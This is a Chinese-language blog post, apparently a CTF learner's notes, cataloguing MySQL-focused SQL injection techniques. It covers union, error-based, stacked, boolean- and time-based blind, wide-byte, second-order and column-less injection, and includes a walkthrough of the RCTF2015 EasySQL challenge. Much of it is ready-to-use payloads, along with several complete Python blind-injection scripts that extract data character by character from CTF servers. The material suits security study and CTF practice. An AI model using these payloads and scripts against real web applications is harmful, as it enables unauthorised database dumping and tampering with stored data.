突然发现好久没写博客了,赶紧水一篇(雾)
三编
该文稍微总结一下我遇到过的sql注入(非常基础非常萌新,没学过的都能看得懂…吗?)
SQL漏洞成因
程序没有对用户的输入进行过滤。
例如SQL的查询语句可能是:
1 select user_id,user_name,user_type_email from users where user_id='$id' and password = '$password'
id和password是我们可输入的参数
在进行数据库查询时由于没有过滤单引号,我们输入1’和任意的密码时,语句会变成:
1 select user_id,user_name,user_type,email from users where user_id='1'' and password = '123132132'
由于sql语法中单引号必须成对存在,所以这条查询语句中1’后面的单引号会和前面的单引号闭合,导致后面的单引号变得多余了,这条语句就会报错,一般报错的内容就是:
1 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1' at line 1
此时我们只需要将前面的单引号闭合,在后面插入我们想要查询的语句,就能够进行SQL的注入了
SQL注入点
挖掘sql注入的第一步就是要发现sql注入,只有发现了注入点才能够继续利用
所有和数据库有交互的地方都有可能存在sql注入,所以要根据数据包的发包情况,来关注可能那些数据会和数据库交互
首先看url 是否有?id=1这种,如果有的话有可能是SQL注入
然后就是给你一个框框,有可能是搜索用户名,也有可能是登录框,让你输入账号密码登录,也有可能是让你查询一段内容…
然后就是http头,包括user-agent,cookie,referer,xff(有些flask的也经常用X-Forwarded-For)
具体来说看一个发的包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /?id=homePage HTTP/1.1 Host: www.netspi.com Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 X-Server-Name: PROD Cookie: user=harold; Content-Type: application/x-www-form-urlencoded username=harold&email=harold@netspi.com
一些可能会和数据库交互的地方:
1 2 3 4 5 6 /?id=homePage Host: www.netspi.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 X-Server-Name: PROD Cookie: user=harold; username=harold&email=harold@netspi.com
对于json格式的包,可以通过添加单双引号来破坏掉json格式:
具体做法就是添加单双引号
注入检测
输入特殊字符是否抛出异常
输入语句是否会返回预期的结果等
数据库识别
除了发现SQL注入的洞以外,你还要判断是哪种类型的数据库,不可能指望所有服务器都是mysql吧
一般来说可以利用数据库特有的函数来进行判断
或者是各种数据库的休眠函数
mysql
特有的注释符空格--空格
描述
语句
SLEEP函数
page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK函数
page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串连接(注意有个空格)
page.php?id=' 'mysql' --
或者page.php?id=' and concat('some','string')
版本信息
select @@version
或者select version()
错误消息(根据返回的错误信息判断)
page.php?id='
特有函数
select connection_id()
select last_insert_id()
select row_count()
oracle
默认表
page.jsp?id='UNION SELECT 1 FROM v$version --
select banner FROM v$version
select banner FROM v$version WHERE rownum=1
报错信息
mssql
mssql的特性也挺多的:
描述
语句
WAITFOR函数
page.asp?id=';WAITFOR DELAY '00:00:10'; --
堆叠查询默认变量
page.asp?id=sql'; SELECT @@SERVERNAME --
报错信息
page.asp?id='
报错信息(利用@@SERVERNAME
)
page.asp?id=@@SERVERNAME
报错信息
page.asp?id=0/@@SERVERNAME
常量
@@pack_received
或者@@rowcount
postgreSQL/PGSQL
page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a
一些页面
1 2 3 4 asp => mssql、access aspx => mssql php => mysql、postgresql java => mysql、oracle、mssql
一些端口
1 2 3 4 oracle => 1521 mssql => 1433 mysql => 3306 postgresql => 5432
数据库特有函数
1 2 3 4 pg_sleep() => postgresql benchmark() => mysql waitfor delay => mssql DBMS_PIPE.RECEIVE_MESSAGE() => oracle
特殊符号
1 2 ; => 字句查询标识符,postgresql、mssql 默认可堆叠查询 # => Mysql 注释符
特殊表名
1 2 3 4 5 6 information_schema => mssql,postgresql,mysql pg_tables => postgresql sysobjects => mssql all_tables,user_tables => oracle #oracle或许可以加多个dual
还可以根据特殊的报错banner信息来判断
SQL Injection | pentestmonkey (gm7.org)
虽然是生肉,但是里面有很多sql的trick
SQL注入类型(?存疑)
分为字符型和数字型两种
判断方式也很简单:
1 2 3 4 5 6 ?id=1 and 1=1 //不报错 ?id=1 and 1=2 //报错 //说明是数字型注入 因为后台语句为 select * from <column_name> where id = x
1 2 3 4 5 ?id=1' and '1'='1 //不报错 ?id=1' and '1'='2 //报错 //说明为字符型注入 因为此时后台语句为 select * from <column_name> where id='x'
虽然但是我这一步好像从来没判断过,直接加个单引号注入的…
所以有些不用加单引号的题就比较容易吃亏
Mysql
一些常用函数、注释符
1 2 3 4 5 6 7 8 9 10 11 #注释符 #(% 23 ) 用于单行注释,由于在url中,#表示anchor,也就是锚点。带上#的时候是不会请求后端路由而是刷新前端路由。所以要变成url编码的% 23 + 上面这三个都是单行注释符,注意 加号是因为URL中加号会被解码为空格 内联注释,一般用于绕waf、替代空格
一些常用的运算符,加减乘除取余那些就不说了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <>或者!= 就是不等于 BETWEEN 这个后面讲,在二者之间 NOT BETWEEN 就是不在二者之间 IN 在集合中 NOT IN 不在集合中 <=> 严格比较两个NULL值是否相等 LIKE 模糊匹配 REGEXP 正则表达式匹配 RLIKE = REGEXP IS NULL 为空 NOT NULL 非空
查看全局变量
1 2 SHOW GLOBAL VARIABLES;SHOW VARIABLES;
1 2 3 4 5 6 7 8 @@VERSION 返回版本信息 @@GLOBAL.VERSION = @@VERSION @@HOSTNAME 返回安装的计算机名称 @@BASEDIR 返回MYSQL的绝对路径 @@DATADIR 返回数据的路径
几个可利用的函数
1 2 3 4 5 6 database() 返回数据库名,常用于注入 例如1' union select 1,database(),3# user() 获取当前执行命令的用户信息,和session_user() current_user()等效 version() 获取mysql数据库版本信息
1 2 3 4 5 6 7 8 9 10 11 12 13 ascii(str) 返回字符串中第一个字符的ascii的值,常用于盲注 ord(str) 与ascii一样 hex() 将字符串的十六进制返回 unhex() 反向hex bin() 返回二进制 oct() 八进制 conv(n, from_base, to_base) 将n从from_base进制转到to_base进制 CHAR(n) 将n解释为整数,然后返回对应整数在ascii中对应的字符
字符串截取操作函数
常用于盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 substr(str, start , length) substring的简化版,返回str从start 开始的,长度为length的字符串。mysql中的第一个字符从1 开始 substring (str, start )substring (str, start , len)substring (str from start )substring (str from start for len)mid(str, pos, len) 同susbtr right (str, len) 对于指定字符串,从右端开始截取指定长度例如right ("www.baidu.com", 3 ) 返回com left (str, len) 对于指定字符串,从左端开始截取指定长度RPAD(str, len, padstr) 用于补齐 假如字符串长度< len,则用padstr补齐到str右端,直至str的长度为len 如果长度> len,就优先返回靠前的字符 例如RPAD("hello world", 5 , "***") 返回hello LPAD(str, len, padstr) 用于补齐 假如字符串长度< len,则用padstr补齐到str左端,直至str的长度为len 如果长度> len,就优先返回靠前的字符 例如LPAD("hello world", 5 , "***") 返回hello insert (str, pos, len, newstr) 在str中自左数第pos位开始,长度为len的字符串替换为newstr,然后返回经过替换后的字符串trim ([LEADING | BOTH | TRAILING ] rem_str FROM str)从str的某个位置(LEADING 开头, BOTH 所有位置, TRAILING 末尾)移除rem_str 例如select trim (leading 'x' from 'xxxbarxxx' ) 会返回barxxx select trim (both 'x' from 'xxxbarxxx' )会返回bar select trim (both 'x' from 'xxxbarxxx' )会返回xxxbar 这个也可以用于盲注
字符串拼接操作
常用的两个concat()
,group_concat()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 concat(str1, str2) 将多个字符串str1, str2合并为一个字符串 concat_ws(separator, str1, str2) 和concat函数类似,只是通过分隔符separator将字符串连接在一起 group_concat(...) 返回一个字符串结果,该结果由逗号连接组合而成 make_set(bits, str1, str2,...) 根据bits转成二进制的结果,返回由逗号拼接而成的字符串 例如make_set(2 , 'a' , 'b' , 'c' , 'd' ) 2 的二进制是0010 ,故返回bmake_set(1 | 3 , 'a' , 'b' , 'c' , 'd' ) 1 | 3 的结果是0001 | 0010 结果是0011 ,对应第一位和第二位,返回a,b这个点可以用于盲注: EXP (MAKE_SET((LENGTH(DATABASE())> 8 )+ 1 ,'1' ,'710' ))根据返回的0 和1 加一之后就是1 和2 ,分别对应1 和710 如果对返回1 ,加1 后返回710 ,exp (710 )报错 否则正常
数据匹配操作
1 2 3 4 5 6 = 全匹配 LIKE 匹配数据,%表示任意内容 REGEXP 正则匹配数据,^从前往后匹配,$从后往前匹配 RLIKE 同regexp regexp binary 正则匹配数据,区分大小写
条件函数
1 2 3 4 5 6 7 8 9 10 if(expr, state1, state2) 如果expr为true ,执行state1,否则执行state2 case...when expr then state1 else state2 end 同if,case 和when 中间的...可以直接被省略 也就是下面的 case when expr then state1 else state2 end 这个的利用可以到宽字节注入的时候再看看,有个题就是用这个的 qsnctf的ezsql 鹏城杯的股份公司那题(那个时候太卡了,打不动一点) NULLIF (expr1, expr2),如果expr1与expr2相同,返回1 ,否则返回null
其他
挑几个重要的,那些什么sleep,benchmark这些就不说了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 limit m,n 这个主要是我没怎么用过 查询结果从m开始取n个 load_file()读文件,支持16进制数,比如0x2f.... 支持ascii码,但是需要添加char函数,例如load_file(char(96,97)) 在读取内容不显示的情况下,可以利用hex函数 hex(load_file()) locate(substr, str) 返回substr在str中第一次出现的位置 position = locate lower() 将字符串全部转为小写 upper() 全大写 charset() 返回字符串使用的字符集
流程:数据库
表名
列名
数据
如果没有想要的可以通过文件的读写操作来进一步检测,比如load_file,日志写shell这些
mysql注入手法
1.联合查询
非常常用的注入,适用于有回显位的注入(也就是会返回我们输入数据结果的位置)
首先判断字段数:
1 2 3 4 5 6 7 1' order by n# 1' order by n--+ 1' order by n'(某些过滤了#、--+等时常用) 或者直接利用and '1' ='1进行闭合,总之就是把后面的单引号闭合一下 其中n取自然数,当n回显正常且n+1回显异常时,字段数为n,假设字段为3 更新:这里的回显异常可能是直接报错,也有可能是一个返回空白
然后判断回显位:
1 2 3 4 5 6 7 1' union select 1,2,3# 1' union select 1,2,3--+ 1' union select 1,2,3' 根据页面的信息观察回显位 比如Your name: 2 Your id: 3 即回显位为2和3
爆库:(推荐使用-1,这是因为查询只会显示第一条结果,需要将union查询前面的内容置空)
首先查询database()、user()、version()
version用于查看数据库版本
版本
手法说明
MySQL < 5.0
小于5.0,由于缺乏系统库information_schema
,故通常情况下,无法直接找到表,字段等信息,只能通过猜解的方式来解决 直接猜库名,表名,列名,再使用联合查询,当然也可以使用布尔注入来猜解
MySQL >= 5.0
存在系统库information_schema
,可直接查询到库名,表名,列名等信息
查询当前数据库名
1 -1' union select 1,database(),3#
查询所有数据库名
1 -1 ' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 -- -
爆表:
1 -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
爆列名:
1 -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='你想要爆的表名'#
爆内容:
1 -1' union select 1,group_concat(id,username,password),3 from column_name#
当然也可以写成:
1 2 3 4 5 -1' union select 1,group_concat(id,'--',username,'--',password),3 from column_name# 这样子回显出来的结果会比较好看(因为有--分隔) 或者-1' union select 1,2,group_concat(0x7e,username,0x7e,password) from users-- - 这样会显出来的结果就是~username1~password1~username2~password2 0x7e和--是一个作用,分隔符
1.1 limit注入点
如果注入点在limit之后,想要判断字段数的时候可以利用into @,@
的手法,其中@
为mysql的临时变量
1 2 3 4 5 6 7 假设字段数为2 select * from user limit @,@;回显User variable name '' is illegal select * from user limit @,@,@;回显The used SELECT statements have a different number of columns
然后可以利用procedure analyse
进行报错注入
1 ... limit 0 ,4 procedure analyse((select extractvalue(1 ,concat(0x7e ,database()))))
2.报错注入
报错注入适用于没有回显位的,但是页面有报错信息的时候
2.1 group by 重复键冲
反正我是看不懂:
1 and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)--+
其实就是group_by + rand + floor
updated in 2023/3/11
extractvalue()的报错注入和updatexml还是有点不一样的:
1 1' || extractvalue(1,concat(0x7e,(select data from (output))))#
2.3 updatexml()
与extractvalue()很相似,也是这三个里面最常用的:
1 1' and updatexml(1,concat('~',database()),3)#
1 1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#
注意报错注入只能回显前32个字符,爆flag时可能需要添加reverse函数:
1 1' and updatexml(1,concat('~',(select(reverse(group_concat(text))) from wfy_comments)),3)#
2.4 exp、pow、溢出 :
version: 5.5.5 - 5.5.49
1 2 3 4 5 select exp(~(select * from (select user())a)); select pow(2,~(select * from (select user())a)); select 1+(~(select * from (select user())a));
解释一下,这里是利用一层select user查询,把里面的结果取名为a
再利用select * from a将a取出
这里必须使用嵌套,因为不使用嵌套不加select from
无法大整数溢出。
2.5 name_const :
仅可获取version()
查询数据库版本:
1 1' AND (select * from(select name_const(version(),0x1),name_const(version(),0x1))a) -- -
2.6 uuid :
适用版本 8.0.x
1 2 select uuid_to_bin((database())); select bin_to_uuid((database()));
2.7 join
利用重复查询相同表的方法来爆数据:
sql语句:
1 2 3 4 select * from(select * from 表 a join 表 b)c //爆表的第一列 select * from(select * from 表 a join 表 b using(第一列列名))c //爆第二个列名 select * from(select * from 表 a join 表 b using(第一列列名,第二列列名))c //爆第三个列名 ...
搭配报错注入:
1 2 3 4 5 6 1' || extractvalue(1,concat(0x7e,(select * from (select * from output a join output b)c)))# //爆出output表的第一个列名 回显:Duplicate column name 'data' 1' || extractvalue(1,concat(0x7e,(select * from (select * from output a join output b using(data))c)))# ...
局限:必须要知道数据库跟表明的时候才能够利用join
2.8 gtid
version >=5.7
仅一列,可以查user、version、database
1 2 select gtid_subset(user(),1); select gtid_subtract(user(),1);
爆表名:
1 -1' union select 1,gtid_subset(group_concat((select group_concat(table_name) from information_schema.tables where table_schema=database())),1),3%23
2.9 polygon 等几何函数
前提需要知道字段名:
爆当前查询语句的库、表、字段:
1 2 3 select flag from ctf where polygon(id); #Illegal non geometric '`test`. `ctf`.`id`' value select flag from ctf where polygon(flag);
函数
用法
GeometryCollection()
GeometryCollection((select * from (select* from(select user())a)b))
polygon()
polygon((select * from(select * from(select user())a)b))
multipoint()
multipoint((select * from(select * from(select user())a)b))
multilinestring()
multilinestring((select * from(select * from(select user())a)b))
linestring()
linestring((select * from(select * from(select user())a)b))
multipolygon()
multipolygon((select * from(select * from(select user())a)b))
不常用,很少用
2.10 st相关函数
version>=5.7
1 2 3 select ST_LatFromGeoHash(version());select ST_LongFromGeoHash(version());select ST_PointFromGeoHash(version(),0 );
1 -1' union select 1,ST_LongFromGeoHash((select group_concat(table_name) from information_schema.tables where table_schema=database())),3%23
2.11 利用不存在的函数
可能会获得数据库的名称
2.12 BIG INT
当mysql数据库的某些边界数值进行运算的时候可能会产生报错
1 select !(select * from(select user())a)-~0;
高版本已修
1 2 # 当前数据库的所有表名 1 ' AND !(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)-~0 -- -
修复方法:
上waf,过滤掉能够造成报错注入的函数
万能预处理语句
不要在页面上
3.堆叠注入
在SQL中(以及在很多的地方中),分号表示命令的分隔,也就是SQL语句的结束,如果使用;后再在后面构造SQL语句,两条是可以一起执行的,例如:
1 1';update users set password='123456' where id=1;#
(此处可左转NewStarCTF week 3的multi SQL)
将id为1的密码更新为123456
使用条件:
1 2 $mysqli ->multi_query ($sql );
1 2 3 4 5 with conn.cursor() as cursor: cursor.execute('SELECT * FROM userinfo order by %s;' % field) res = cursor.fetchall()
爆库:
爆表:
爆列:
查看内容:
1 1';handler `表名` open as `a`;handler `a` read next;#
重命名:
1 2 3 4 rename table tb1 to tb3; rename table tb2 to tb1; alter table tb1 change column1 column2 char(100);
如果update等被过滤,可以使用sql预处理语句进行拼接:
1 1';set @sql=concat('u','pdate `score` listen=99999 where username="火华"');prepare sql_exe from @sql;execute sql_exe;#
1 ;set @sql=concat('s','elect', ' * from xxx');prepare sql_exe from @sql; execute sql_exe;
堆叠注入的绕过
分号的过滤可以利用\G
替代(待验证)
如果查询语句(select)这些一直被过滤,可以考虑利用十六进制:
1 ;sEt/**/@a=0x.....;PRepare/**/hello/**/from/**/@a;execute/**/hello;#
此时就能执行我们的sql注入语句
盲注:
0xgame2023:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport timeimport binasciiurl = 'http://124.71.184.68:50021/?order=id' res="" for i in range (1 ,1000 ): left=32 right=128 mid=(left + right) //2 while (left < right): turn = b"select if(ascii(substr((select (flag) from (flag)),%d,1))<%d,sleep(3.5),1);" %(i,mid) turned = binascii.b2a_hex(turn) turned = str (turned, 'utf-8' ) turned = "0x" +turned payload = url+';sEt/**/@a=%s;PRepare/**/hello/**/from/**/@a;execute/**/hello;' %(turned)+"%23" print (payload) times = time.time() html = requests.get(payload) timee = time.time() keep = timee - times time.sleep(0.2 ) if keep > 3.4 : right = mid else : left = mid + 1 mid = (left + right) //2 if mid <= 32 or mid >= 127 : break res+=chr (mid-1 ) print (res) print ("Final Results:" ,res)
4.布尔盲注
适用于页面只有两种回显结果,没有任何错误回显
HTTP状态响应码不同
响应头变化(比如302,或者设置了cookie)
报错(?)
4.1注入流程
闭合SQL语句
计算当前数据库名长度
逐字节获取数据库名
计算表的数量
计算表名的长度
逐字节获取表名
计算列的数量
计算列名的长度
逐字节获取列名
计算字段的数量
计算字段内容的长度
逐字节获取字段内容
常用的几个函数在盲注派上用场了:ascii substr
这些
1 2 3 4 5 6 7 8 1 ' and left(database(),1)=' s' -- - true 1' and left (database(),2 )= 'se' 1 ' and substr(database(),1,1)=' s' -- - true 1' and ascii(substr(database(),1 ,1 ))> 97 1 ' and ascii(substr(database(),1,1))>115 -- - false 1' and ascii(substr(database(),1 ,1 ))= 115
有的时候也可以使用异或符号(页面有1和0的时候)
直接用脚本跑就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport timeimport sysurl="http://1189e07b-be07-49cc-9b96-af07b0b4f9b0.node4.buuoj.cn:81/search.php?id=" res="" for i in range (1 ,1000 ): left=32 right=128 mid=(left + right) //2 while (left < right): payload = url+"1^(ascii(substr((select(reverse(group_concat(id,username,password)))from(F1naI1y)),%d,1))<%d)#" %(i,mid) html = requests.get(payload) print (payload) time.sleep(0.04 ) if "ERROR" in html.text: right = mid else : left = mid + 1 mid = (left + right) // 2 if mid <=32 or mid >=127 : break res += chr (mid-1 ) print (res) print ("Final Result:" ,res)
4.1 常用绕过
left
:
left(str, length) ,从左边开始截取长度为length的字符串,例如:
1 2 select left('www.baidu.com', 8) #www.baid
与之对应的还有right,但是right是从右边往左截取的:
1 2 select right('www.baidu.com', 8) #aidu.com
substring(str, index, length) ,截取特定长度的字符串,相当于substr
mid(str, index, length) ,同substr
strcmp() ,比较字符串:
1 2 3 4 5 6 select strcmp(12345, 123456); #-1 select strcmp(1234567, 123456); #1 select strcmp(123456, 123456); #1
利用strcmp 代替等号:
1 2 where !strcmp(table_schema, 'ctf'); #相当于where table_schema='ctf';
between and 也有类似的效果:
1 where table_schema between 'ctf' and 'ctf'
代替等号的还有in :
1 where table_schema in ('ctf')
jacko神的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import stringimport requestsurl = "http://a.y1ng.vip:1119/" data="password=&username='%2bstrcmp(left(hex((select group_concat(`1`) from (select 1,2 union select * from SeCrrreT)x)),{}),'{}')%23" .replace(' ' ,'/**/' ) result = "" header = { "Content-Type" :"application/x-www-form-urlencoded" } length = 1 while True : for i in string.ascii_lowercase+string.digits+',_-{}' : payload = data.format (length, result+i) r = requests.post(url=url, data=payload,headers=header) if 'Admin' in r.text: result = result+i print (result) length += 1 break else : break
like、regexp :
regexp盲注:
1 (select database())regexp '^p'#
rlike也是等效的
like:
没有%
时,like可以代替等号
在有%
时,等效于regexp
1 (select database())like 'p%'#
绕过逗号
1 2 3 4 5 select substr('test' from 1 for 2); select substring('test' from 1 for 2); 相当于 substr('test',1,2);
利用trim
1 select trim([both/leading/trailing]) 'x' from 'xxx';
1 2 select trim(leading 'a' from 'abc');--bc select trim(leading 'b' from 'abc');--abc
4.2 基于报错的布尔盲注
exp :e的指数:
1 2 3 #当值大于709时就会报错: select exp(710); #ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
利用:
它会返回一个大数18446744073709551615
同时,如果我们的语句执行成功的话就会return 0
所以:
1 2 SELECT ~(SELECT version()); #18446744073709551615
我们这样的话
就能够利用了:
1 SELECT exp(~(select * from (select table_name from information_schema.tables where table_schema=database())x));
(转载)使用exp进行SQL报错注入 - lcamry - 博客园 (cnblogs.com)
同理,能报错的还有:
cot(0)
**pow()**乘方
4.3基于正则的盲注
regexp:
1 -1 ' or user() regexp ' ^ r'#
或者
1 -1 ' or user() regexp(' ^ r')#
再或者:
1 2 -1 ' or user() regexp 0x....# -1' or user () regexp(0 x...)#
4.4 未知列明的盲注
在知道表明不知道列名的情况下,可利用:
1 select (select 'aaa' ,'666' )= (select * from user limit 1 );
类似这种方法进行匹配
5.时间盲注
延时注入,页面啥回显都没有的时候,我们需要观察页面的请求时间(
1 2 3 4 5 1'||if(ascii(substr(database(),1,1))<115,sleep(0.3),1)# //无延时 1'||if(ascii(substr(database(),1,1))<116,sleep(0.3),1)# //有延时 说明库的第一个字符对应为ascii码=115的字符
编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport timeurl='' res='' for i in range (1 ,100 ): left = 32 right = 128 mid = (left + right) // 2 while (left < right): payload = { } print (payload) times = time.time() html = requests.post(url,data=payload) timee = time.time() keep = timee - times time.sleep(0.2 ) if keep > 2 : right = mid else : left = mid + 1 mid = (left + right) //2 if mid <= 32 or mid >= 127 : break res+=chr (mid-1 ) print (res) print ("Final Results:" ,res)
根据注入类型的不同,前面的查询需要修改的(
过滤sleep:
benchmark() ,将表达式执行n次,我们可以利用重复执行多次表达式强行延长执行时间:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport timeurl ='http://6b551a60-af9f-4f29-b3b4-689592d73faf.node4.buuoj.cn:81/index.php' res='' for i in range (1 ,100 ): left = 32 right =128 mid = (left + right) // 2 while (left < right): payload={ 'username' : 'a' , 'password' : "0'||if(ascii(mid((select(group_concat(cmd))from(flaggg)),%d,1))<%d,benchmark(3000000,md5(1)),1)||'" %(i,mid) } times = time.time() html = requests.post(url,data=payload) timee = time.time() keep = timee-times time.sleep(0.2 ) print (payload) if keep > 1.8 : right = mid else : left = mid + 1 mid = (left + right) // 2 if mid <=32 or mid >= 127 : break res+=chr (mid-1 ) print (res) print ("Final Result:" ,res)
笛卡尔积
非常的耗时:
1 select count(*) from imformation_schema.columns a, information_schema.columns b;
如果count
被过滤,可以换成其他的函数如avg, min ,max, sum
*
如果被过滤,可以利用某一个字段代替:
如:
1 select max(A.TABLE_NAME) from information_schema.columns A, information_schema.columns B, information_schema.schemata;
正则匹配,相当于新的sleep函数
1 select rpad('a',99,'a') rlike concat(repeat('(a.*)+',30),'b');
例如:
1 id= 1 ' and if(mid(database(),1,1)=' s',(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),1)%23
数据库的第一个字是s的话就执行笛卡尔积
肉眼可见的卡,非常的耗时,以至于最后直接把服务干爆了。尽量少用这个
就是利用上面的方式,换了个注入点…
例如user-agents(sqli-labs的less-18)
cookies
referer
X-Forwarded-For
7.宽字节注入:
宽字节是多个字节宽度(>1)的编码(GBK,gb2312…)
汉字就是宽字节编码
宽字节注入的成因:
数据库的编码和php的编码设置成了两个不同的编码,例如utf-8
和gbk
此时如果利用addslashes
转义,会使得我们多出一个\
要将反斜杠转义处理掉的方式有:
让(\)失去作用
让(\)的编码和另一个编码组合成两字节的编码(使得反斜杠消失)
第二种方法就是宽字节注入:
所以我们只需要在单引号前加上%df,此时转义后的反斜杠(%5c)与%df就会组成一个汉字:運(运的繁体,%df%5c)
用户输入1%df' or 1=1#
addslashes
转义:1%df\' or 1=1#
gbk
编码后:1運' or 1=1#
也就是:
1 1%df' union select 1,2,3%23
这个时候查询语句就会变成:
1 1運' union select 1,2,3%23
剩下的只需要和联合查询一样的地方即可,在前面的单引号添加%df
在爆列名时:
1 2 3 4 5 1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='xxxx' 后面的单引号也会转义,这个时候我们可以将xxxx使用hex编码,然后0x 例如users=7573657273 就写成 1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
1 2 3 4 5 6 7 $username = addslashes ($_GET ['username' ]);if ($username ==='admin' ){ die ("no!" ); } else { ... }
假设有个表里面是采用Latin1
字符集的,此时只需要输入:
?username=admin%c2
%00-%7f
能够直接表示某个字符 ,但是%c2-%f4
只能表示长字符编码后结果的首字节
这些字节(%c2-%f4
)在进行转换时会被直接抛弃
某次比赛的宽字节盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport stringdef str2hex (string ): result = '' for i in string: result += hex (ord (i)) result = result.replace('0x' , '' ) return '0x' + result strs = string.ascii_letters + string.digits + "{-}" name = '' for j in strs: print (j) passwd = str2hex('^' + name + j) sel = "SELECT load_file(0x2f666c6167)" payload = f"%df%27||(select case when(select {sel} regexp binary {passwd} ) then 1 else 0 end)%23" r = requests.get("http://192.168.201.3/index.php?key=" + payload, allow_redirects=False , proxies = {"http" :"127.0.0.1:8080" })
8.二次注入
第一次注册等操作没有注入点,但是第二次操作代入了第一次操作的语句,导致sql注入(
也就是说,我们提前构造好的语句成功储存进入数据库了,然后第二次操作(例如修改密码)中调用了第一次操作的语句,使得sql语句被执行
…
感觉好像还是没解释好,就是
第一次操作中,我们成功将sql语句储存入数据库中了
第二次操作中,数据库调用了该sql语句,导致sql语句被执行,形成二次注入(?)
[RCTF2015] EasySQL
例如该题就是二次注入:
需要我们注册一个账户:
尝试注册一个叫1’的账户,注册成功,此处没有注入点
发现能修改密码,这种先注册再修改密码的操作很可能有二次注入
发现同样没有任何问题…
可能是单引号的问题,尝试换成双引号再注册一个用户
然后修改密码,发现报错:
1 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" and pwd='c4ca4238a0b923820dcc509a6f75849b'' at line 1
说明是双引号型的二次注入,并且有报错,可以使用报错注入:
1 2 注册账户: 1" and updatexml(1,concat('~',database()),3)#
回显 invalid string,说明有过滤
可能是过滤了空格,所以我们使用括号替代空格:
1 1"and(updatexml(1,concat('~',database()),3))#
发现还是回显invalid string
所以有可能也过滤了and,使用&&替代空格:
1 1"&&(updatexml(1,concat('~',database()),3))#
注册成功,然后修改密码
爆出库名web_sqli
注册用户
1 1"&&updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),3)#
然后修改密码,爆出表名:article flag users
注册用户
1 1"&&updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),3)#
然后修改密码,爆列名
注册用户
1 1"&&updatexml(1,concat('~',(select(group_concat(flag))from(flag))),3)#
爆flag
发现flag并不在flag表内,回去看users表:
1 1"&&updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),3)#
发现real_flag_1s_her
然后尝试
1 1"&&updatexml(1,concat('~',(select(group_concat(real_flag_1s_her))from(users))),3)#
然后报错了… 没有这一列
突然才意识到报错注入有32个字符长度的限制,
尝试倒序查看列名:
1 1"&&updatexml(1,concat('~',(select(group_concat(reverse(column_name)))from(information_schema.columns)where(table_name='users'))),3)#
果然,列名是real_flag_1s_here
然后爆flag:
1 1"&&updatexml(1,concat('~',(select(group_concat(real_flag_1s_here))from(users))),3)#
发现很多xxx,列名内有很多xxx,占用了32个字符长度
regexp函数:正则匹配,返回特定字符串
flag的格式就是flag{xxx}
所以只需要匹配含有f的字符串即可
1 1"&&updatexml(1,concat('~',(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),3)#
1 1"&&updatexml(1,concat('~',(select(group_concat(reverse(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f'))),3)#
组合一下就行了,注意重复的地方
9.无列名注入
适用于information_schema表被过滤的情况
爆库名:
1 0' union select 1,2,group_concat(database_name) from mysql.innodb_table_stats where 1='1
使用mysql.innodb_table_stats时,不储存列名
爆表名:
1 0' union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where 1='1
对列的处理:
先判断该表内有几列
然后给列都取一个名,然后读取这个名字的内容
判断列数:
1 0' union select 1,2,(select group_concat(1) from database.table)'
database.table为数据库名.表名
回显了多少个1就说明有几列
例如:
1 0'/**/union/**/select/**/1,2,(select/**/group_concat(1)/**/from/**/ctftraining.flag)'
给列取名字读取:
